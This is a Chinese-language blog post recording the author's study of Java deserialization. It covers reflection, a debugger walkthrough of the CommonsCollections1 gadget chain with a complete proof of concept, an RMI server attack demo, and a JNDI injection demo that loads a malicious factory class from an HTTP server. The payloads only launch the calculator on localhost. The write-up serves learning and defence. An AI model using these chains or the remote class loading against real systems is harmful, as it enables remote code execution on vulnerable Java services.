前言 回顾完PHP反序列化,接着就来学习Java反序列化了。距离上一篇PHP反序列化水文过去快半个月了,感觉时间过得好快啊,在某些特殊时刻也好煎熬啊。不管怎么说,这段时间看了好多Java反序列化的文章,也动手复现了下,对反序列化的原理、利用条件、利用方法有了初步的认识。 胡诌了这么多,就下来是对Java反序列化学习的记录。
Java序列化简介 Java的序列化也是和PHP序列化一样,为了实现对象的持久化。除此之外,Java序列化还可通过的网络通信,实现在不同的平台传输对象,出现的场景有JNDI的RMI和LADP等。
Java序列化与反序列化 Java不同于PHP可以序列化和反序列化任意类,Java只有本类或父类实现了Serializable
或Externalizable
接口,且若实例变量引用了其他对象,该对象也需要能被序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class Unserialize implements Serializable { public Object obj; public static void main (String[] args) throws Exception { Unserialize obj = new Unserialize(); obj.obj = new SerializableTest(); FileOutputStream out = new FileOutputStream("test.txt" ); ObjectOutputStream obj_out = new ObjectOutputStream(out); obj_out.writeObject(obj); out.close(); FileInputStream in = new FileInputStream("test.txt" ); ObjectInputStream in_obj = new ObjectInputStream(in); in_obj.readObject(); in_obj.close(); } } class SerializableTest implements Serializable {} class Test {}
若序列化一个没有实现Serializable
的类,则会抛出NotSerializableException
异常。Externalizable
是Serializable
的子类,序列化的用法一样,但必须重写readExternal
和writeExternal
方法。序列化的结果是以ACED
开头的字节序列,Java也是按一定的规则进行序列化的,但序列化结果的可读性没有PHP那么高。
Java序列化并没有PHP这么多的魔术方法,只有当序列化的类重写了readObject
或readExternal
方法,才能作为反序列化漏洞的入口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Unserialize implements Serializable { private void readObject (ObjectInputStream in) throws Exception { in.defaultReadObject(); Runtime.getRuntime().exec("calc" ); } public static void main (String[] args) throws Exception { Unserialize obj = new Unserialize(); FileOutputStream out = new FileOutputStream("test.txt" ); ObjectOutputStream obj_out = new ObjectOutputStream(out); obj_out.writeObject(obj); out.close(); FileInputStream in = new FileInputStream("test.txt" ); ObjectInputStream in_obj = new ObjectInputStream(in); in_obj.readObject(); in_obj.close(); } }
当然,实际情况下没人会直接在readObject
中写个命令执行的功能。通常情况下,反序列化漏洞都是使用多个可序列化的类形成利用链,然后利用反射机制实现想要的功能。
Java反射机制 反射机制可以实现在编译时无需确定所使用的的类,在运行时再确定。对任意一个类,都能知道这个类的所有属性和方法,对任意一个对象,都能调用它的任意一个方法和属性。
以下代码是以反射的方式实现弹计算器,先后通过Class.forName
获取Class
实例,然后getMethod
获取方法,最后invoke
调用方法。对于一些需要使用实例调用的方法,首先需要通过getConstructor
方法获取构造方法实例,再调用newInstance
方法获取该类的实例。
1 2 3 4 5 6 7 8 public class Reflect { public static void main (String[] args) throws Exception { Class runtime = Class.forName("java.lang.Runtime" ); Method getRuntime = runtime.getMethod("getRuntime" ); Method exec = runtime.getMethod("exec" ,String.class); exec.invoke(getRuntime.invoke(runtime), "calc" ); } }
上面形如getXXX
的方法都是只能获取默认构造函数或公有方法和属性,获取非默认构造函数或非公有方法和属性需要使用形如getDeclaredXXX
的方法,非公有方法和属性还需使用setAccessible
方法设置可访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class Reflect { public static void main (String[] args) throws Exception { Class reflectTest = Class.forName("com.test.ReflectTest" ); Constructor constructor = reflectTest.getDeclaredConstructor(String.class); Object test = constructor.newInstance("calc" ); Method execute = reflectTest.getDeclaredMethod("execute" ); execute.setAccessible(true ); execute.invoke(test); } } class ReflectTest { private String cmd; ReflectTest() { } ReflectTest(String cmd) { this .cmd = cmd; } private void execute () throws IOException { if (cmd.isEmpty()) cmd = "calc" ; Runtime.getRuntime().exec(cmd); } }
反序列化利用 反序列化利用复现经典的CommonsCollections
POP链,还有RMI攻击服务端和JNDI注入。
CommonsCollections1 CommonsCollections1
是Java反序列化利用工具ysoserial 其中的一个payload,由于commons-collections
这个依赖包应用很广泛,所以这个payload很通用,但对jre是有要求的,版本需要在1.7u21以下。
POP链构造,本文通过下断点调试来学习。CommonsCollections1
的payload使用以下的命令生成,值得注意的是,windows下不能用powershell生成payload,生成的payload是错的,会多出来00
字节。
1 java -jar .\ysoserial.jar CommonsCollections1 "calc.exe" > cc.bin
反序列化的入口直接通过文件输入序列化内容并反序列化即可,同时需要在Runtime
的exec
方法下个断点。
1 2 3 4 5 6 7 public class DebugUnserialize { public static void main (String[] args) throws Exception { FileInputStream file = new FileInputStream("cc1.bin" ); ObjectInputStream in = new ObjectInputStream(file); in.readObject(); } }
启动调试就能在IDEA中看到调用栈,除去反序列化和正常invoke
方法的调用,与反序列化POP链相关的调用栈有红框这三块,主要的是中间这一块。
从栈顶往栈底看,InvokerTransformer
的transform
方法最终反射调用Runtime
的exec
方法。跟进InvokerTransformer
的transform
方法,当input
非空时会进行一个反射方式调用方法的操作。iMethodName
、iParamTypes
和iArgs
是InvokerTransformer
的属性,属于可控变量,而input
不是该类的属性,此时input
的值为Runtime
的实例。
回溯到ChainedTransformer
的transform
方法,一个for
循环遍历iTransformers
属性,并调用他的transform
方法,该方法的object
参数除了第一个之外,其他都是上一个循环transform
的返回值。
1 2 3 4 5 6 public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
iTransformers
是一个Transformer
数组,而Transformer
是一个接口,上面的两个类ChainedTransformer
和InvokerTransformer
都实现了这个接口。当前iTransformers
的大小为5,包含一个ConstantTransformer
,三个InvokerTransformer
,再加一个ConstantTransformer
,感觉整个POP链最巧妙的就在这里。
第一个ConstantTransformer
直接返回他的iConstant
属性,此时iConstant
为Runtime
的Class实例。
接着的InvokerTransformer
,经过一次getMethod
再加一次反射方式调用的getMethod
获取到getRuntime
的Method实例,并返回。
接着的InvokerTransformer
,经过两次invoke
调用了上一个循环返回getRuntime
方法,并返回执行结果。这里的iArgs
也就是第二次的invoke
的参数,是一个null
和一个空Object
数组,再复现时把我整懵了,为啥不用对象调用getRuntime
方法。后面想起来getRuntime
是静态方法,查资料得知静态方法用invoke
反射调用,第一个参数传null
即可。
最后一个InvokerTransformer
利用上一个循环getRuntime
返回的Runtime
实例,反射调用exec
执行命令。
继续回溯,跟进到LazyMap
的get
方法,map
属性不存在键为key
的值,然后使用factory
属性调用tranform
方法。这里令factory
为下一调用栈里的ChainedTransformer
即可。
再继续回溯,在AnnotationInvocationHandler
的invoke
方法里面使用调用memberValues
属性调用get
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else if (var5.length != 0 ) { throw new AssertionError("Too many parameters for an annotation method" ); } else { ... switch (var7) { case 0 : ... default : Object var6 = this .memberValues.get(var4);
AnnotationInvocationHandler
是非公有的类,需要反射来构造,唯一的一个构造函数的第一个参数需要是注解的类,且存在一个接口,接口也是需要有注解,否则就会抛出一个AnnotationFormatError
异常。
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type." ); } }
在java.lang.annotaion
包下很多接口都满足这个条件。
在往上回溯,发现并没有直接调用invoke
方法,因为这里用到了动态代理 机制,当生成的代理实例调用方法时会先调用类里的invoke
方法。AnnotationInvocationHandler
实现了InvocationHandler
接口,所以再往上回溯又是一个AnnotationInvocationHandler
,但它的memberValues
属性是AnnotationInvocationHandler
的代理实例。
最后完整的POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.test;import org.apache.commons.collections.*;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.*;import java.util.*;public class ApacheCommonsCollections1 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc.exe" }), new ConstantTransformer(1 ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = LazyMap.decorate(new HashMap(), chainedTransformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, map); Map map1 = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler ); Object obj = constructor.newInstance(Retention.class, map1); FileOutputStream fileOutputStream = new FileOutputStream("cc1.txt" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(obj); } }
CommonsCollections
后面几条链看了下最后都是通过transform
方法反射执行命令的,就是入口类和中间衔接类不一样,CommonsCollections5
也跟了下,无需动态代理,相比CommonsCollections1
构造起来还更简单。
RMI攻击服务端 攻击服务端的方式我看到有两种(可能还有更多的我不知道),一种是远程方法的参数有通过类实例的,构造恶意的实例传过去;另一种是使用bind
方法注册绑定一个恶意的实例。
远程方法参数有类实例
由于RMI传的参数都是经过序列化的,那么在服务端那边就会进行反序列化还原对象。这里我就想到了个问题,实现远程方法的类没有实现Serializable
为什么又能被序列化呢?原因就在实现远程方法的类继承的UnicastRemoteObject
类上,只要一直回溯,不难发现UnicastRemoteObject
的最终父类是RemoteObject
,是它实现了Serializable
。
现在我们参数传一个精心构造的反序列化链就能造成反序列化漏洞,但如果这个参数的类不能作为反序列化的入口类的话,我们通过入口类继承原来的类,实现反序列化任意类。这里还是以CommonsCollections
为例,但修改CommonsCollections
原有的入口类挺麻烦的,Demo简化一下,服务端刚好有一个实现了Serializable
的类,类里还有一个Object
属性。
1 2 3 class Exploit implements Serializable { Object obj; }
服务端远程方法的参数是Exception
类,那么客户端的Exploit
就有稍稍修改下,继承Exception
类。
1 2 3 class Exploit extends Exception implements Serializable { Object obj; }
然后客户端实例化一个Exploit
对象,设置它的obj
属性为CommonsCollections
的POP链即可。
放上Demo的代码:
1 2 3 4 5 6 7 8 9 10 11 12 package com.test; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; public class RMIServer { public static void main (String[] args) throws RemoteException, AlreadyBoundException { LocateRegistry.createRegistry(8888 ).bind("method" ,new RemoteMethodImpl()); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package com.test;import java.io.Serializable;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RemoteMethodImpl extends UnicastRemoteObject implements RemoteMethod { protected RemoteMethodImpl () throws RemoteException { } @Override public String read (Exception obj) throws RemoteException { return null ; } } class Exploit implements Serializable { private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); } Object obj; }
1 2 3 4 5 6 7 8 9 package com.test; import java.rmi.Remote; import java.rmi.RemoteException; public interface RemoteMethod extends Remote { public String read (Exception obj) throws RemoteException ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package com.test; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import java.io.Serializable; import java.lang.annotation.Retention; import java.lang.reflect.*; import java.rmi.registry.LocateRegistry; import java.util.*; public class Client { public static void main (String[] args) throws Exception { RemoteMethod remoteMethod = (RemoteMethod) LocateRegistry.getRegistry(8888 ).lookup("method" ); Exploit exploit = new Exploit(); exploit.obj = getPayload(); remoteMethod.read(exploit); } public static Object getPayload () throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc.exe" }), new ConstantTransformer(1 ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = LazyMap.decorate(new HashMap(), chainedTransformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, map); Map map1 = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler ); Object obj = constructor.newInstance(Retention.class, map1); return obj; } } class Exploit implements Serializable { Object obj; }
在调用栈里可以看到,远程方法的参数是Exception
类,反序列化的对象实际上是Exploit
。
JNDI注入 RMI除了绑定Remote
对象之外,还可绑定ReferenceWrapper
对象,ReferenceWrapper
里的Reference
属性记录Factory
类的名称、包名和地址。当InitialContext
类或他的子类对象直接或间接的调用lookup
方法,同时name
参数可控时,从JNDI接口获取攻击者的Reference
对象,然后从攻击者的服务器下载Factory
并实例化,攻击者在静态代码或构造方法加入执行命令的代码,就能在实例化的时候实现命令执行。
放上Demo代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.test;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.*;public class RMIServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(8888 ); Reference reference = new Reference("Exploit2" , "com.exploit.Exploit2" , "http://127.0.0.1:8081/" ); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("calc" , wrapper); } }
1 2 3 4 5 6 7 8 9 10 11 package com.test;import javax.naming.*;public class RMIClient { public static void main (String[] args) throws Exception { Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:8888/calc" ); } }
恶意的Factory
类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package com.exploit;import java.io.IOException;class Exploit2 { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } Exploit2() throws Exception { Runtime.getRuntime().exec("calc" ); } }
同时起一个python的SimpleHTTPServer
,来作为Factroy
类的下载服务。这里有一个坑,一开始我是直接http://127.0.0.1:8081/Exploit2.class
下载Factroy
类,在测试中虽然发起了下载请求,但并没有弹计算器,一度以为我的代码写得有问题,参考了别人的Demo代码,factroyLocation
设置的是下载服务的根目录,用SimpleHTTPServer
测试下,请求的地址会变为http://127.0.0.1:8081/com/exploit/Exploit2.class
,所以下载目录要跟报名相同或者请求任意地址都下载Factroy
才行。
万事俱备,开调。
前两个lookup
方法都是套娃调用,直接跟进到RegistryContext
的lookup
方法。使用绑定的ReferenceWrapper
和对应的Name
调用decodeObject
方法。
跟进到decodeObject
方法,获取Reference
对象,并使用Reference
对象和Name
对象调用getObjectInstance
方法。
1 2 3 4 5 6 private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this , this .environment); ... }
getObjectInstance
方法里又继续通过Reference
对象和factory
类名调用getObjectFactoryFromReference
方法获取对象。接着跟进getObjectFactoryFromReference
方法,有两个地方调用loadClass
,此时的调用栈是第二个loadClass
。第一个loadClass
是从当前classPath
获取类的Class实例。如果恶意类和客户端同在一个项目,需要把恶意类编译后的.class
文件删掉才会从远程下载恶意类。后续如clas
为null
,也就是本地没这个factory
类时,获取codebase
,也就是初始化Reference
时的factoryName
属性,调用另一个loadClass
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 static ObjectFactory getObjectFactoryFromReference (Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
跟进第二个loadClass
,通过URLClassLoader
的newInstance
生成远程类的ClassLoader
,然后使用ClassLoader
反射生成factory
类的Class实例。在实例化Class的实例的时候,静态代码就会被执行,弹出计算器。
除了RMI,LDAP也是可以使用类似的方式实例化远程的恶意类,这两种利用方法都写在后续较高的Java版本被限制从远程下载并实例化factory
类。
com.sun.jndi.ldap.object.trustURLCodebase 属性在 Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,默认值为false,即不允许LDAP从远程地址加载Reference工厂类。
com.sun.jndi.rmi.object.trustURLCodebase 属性在 Oracle JDK 8u113, 7u122, 6u132及以后的版本,默认值为false,即默认不允许RMI从远程地址加载Reference工厂类。
后记 距发布上一篇文章24天,你文章写快点吧大哥,炒冷饭搞这么久。后续复现下一些组件、CMS的反序列化漏洞。
参考 https://github.com/bit4woo/code2sec.com
https://fireline.fun/2021/06/11/Java%20ysoserial%E5%AD%A6%E4%B9%A0%E4%B9%8BCommonsCollections1(%E4%BA%8C)/#5-2-Java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86
https://yoga7xm.top/2019/09/02/rmi/
https://paper.seebug.org/1091/#java-rmi_3
https://paper.seebug.org/1420/#_2
https://www.redteaming.top/2020/08/24/JNDI-Injection/